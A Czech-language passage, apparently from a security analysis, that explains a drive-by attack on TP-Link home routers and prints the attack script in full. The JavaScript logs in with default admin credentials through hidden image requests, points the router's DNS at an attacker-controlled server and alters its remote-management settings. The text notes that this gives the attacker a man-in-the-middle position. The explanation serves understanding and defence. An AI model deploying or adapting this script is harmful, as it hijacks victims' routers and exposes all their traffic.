Skript, který je za celý útok zodpovědný, nezabere, i v případě, že se hodně snažím, ani 20 řádků. Funguje na jednoduchém principu, totiž nejdříve ověří dostupnost routeru načtením http://admin:admin@192.168.1.1/images/logo.jpg
a v případě úspěchu přistoupí k samotným změnám konfigurace.
if (MSIE = navigator.userAgent.indexOf("MSIE") == -1) { document.writeln("<div style='display:none'>"); function ip1() { i = new Image; i.src = 'http://192.168.1.1/userRpm/PPPoECfgAdvRpm.htm?wan=0&lcpMru=1480&ServiceName=&AcName=&EchoReq=0&manual=2&dnsserver=58.221.59.217&dnsserver2=114.114.114.114&downBandwidth=0&upBandwidth=0&Save=%B1%A3+%B4%E6&Advanced=Advanced'; } document.write('<img src="http://admin:admin@192.168.1.1/images/logo.jpg" height=1 width=1 onload=ip1()>'); function ip3() { ii = new Image; ii.src = 'http://192.168.1.1/userRpm/ManageControlRpm.htm?port=11&ip=0.0.0.0&Save=%C8%B7+%B6%A8'; } document.write('<img src="http://admin:admin@192.168.1.1/images/logo.jpg" height=1 width=1 onload=ip3()>'); document.writeln("</div>"); }
Jak si můžeme všimnout, tak útočník předpokládá, že jsou na routeru výchozí přihlašovací údaje a že je přístupný z adresy 192.168.1.1
.
Funkce ip1()
a ip3()
jsou v našem případě zodpovědné za samotnou změnu DNS serverů. Nahrazením DNS serverů se z útočník stává Man-in-the-middle a získává přístup k celé komunikaci své oběti.
Tento skript napadá pouze routery společnosti TP-Link, ale k rozšíření portfolia napadnutelných routerů není potřeba příliš mnoho práce.